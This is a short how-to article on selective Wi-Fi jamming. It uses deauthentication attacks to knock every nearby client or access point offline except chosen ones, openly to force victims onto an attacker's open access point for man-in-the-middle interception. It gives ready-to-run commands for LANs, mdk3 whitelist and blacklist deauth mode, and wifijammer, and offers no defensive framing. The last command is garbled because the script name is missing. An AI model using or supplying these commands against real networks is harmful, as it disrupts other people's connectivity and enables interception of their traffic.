How to perform selective jamming of Wi-Fi networks and clients (DoS attack on individual access points / clients)

Selective Wi-Fi jamming could be useful in different scenarios:

  • you want to keep disconnected everyone in the range, but save your Wi-Fi connections online;
  • you want to make every APs, but yours, to be inaccessible. You create open Wi-Fi AP, the only one accessible in the range, and perform Man-In-The-Middle attacks.

To make jamming successful you should use powerful Wi-Fi adapter like Alfa AWUS052NH.

Excluding certain clients and access points from Wi-Fi jamming

There are some ways to block or exclude certain access points and/or clients.

If you prefer LANs, it has two appropriate options. The first one is designed to exclude certain MAC, the second one sets the target for the attack.

Command example:

lans --jam --accesspoint ROUTER_MAC -s MAC_TO_SKIP

Used options:


Jam all wifi in range

-s SKIP, --skip SKIP

Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA

--accesspoint ACCESSPOINT

Enter the MAC address of a specific access point to target

Therefore, LANs can be used for mass jamming or suppression of individual Wi-Fi AP.

mdk3 has Deauthentication / Disassociation Amok Mode. It kicks everybody found from AP. Its options are:

-w <filename>

Read file containing MACs not to care about (Whitelist mode)

-b <filename>

Read file containing MACs to run test on (Blacklist Mode)


Disconnect every Wi-Fi client except those in the whitelist:

mdk3 wlan0 d -w <file>

Disconnect every Wi-Fi client included in the black list:

mdk3 wlan0 d -b <file>

And one more very effective script for Wi-Fi jamming – wifijammer. It has the -s options. After which you need to specify the MAC address excluded from the attack.


sudo python2 -s CA:FE:DE:AD:BE:EF

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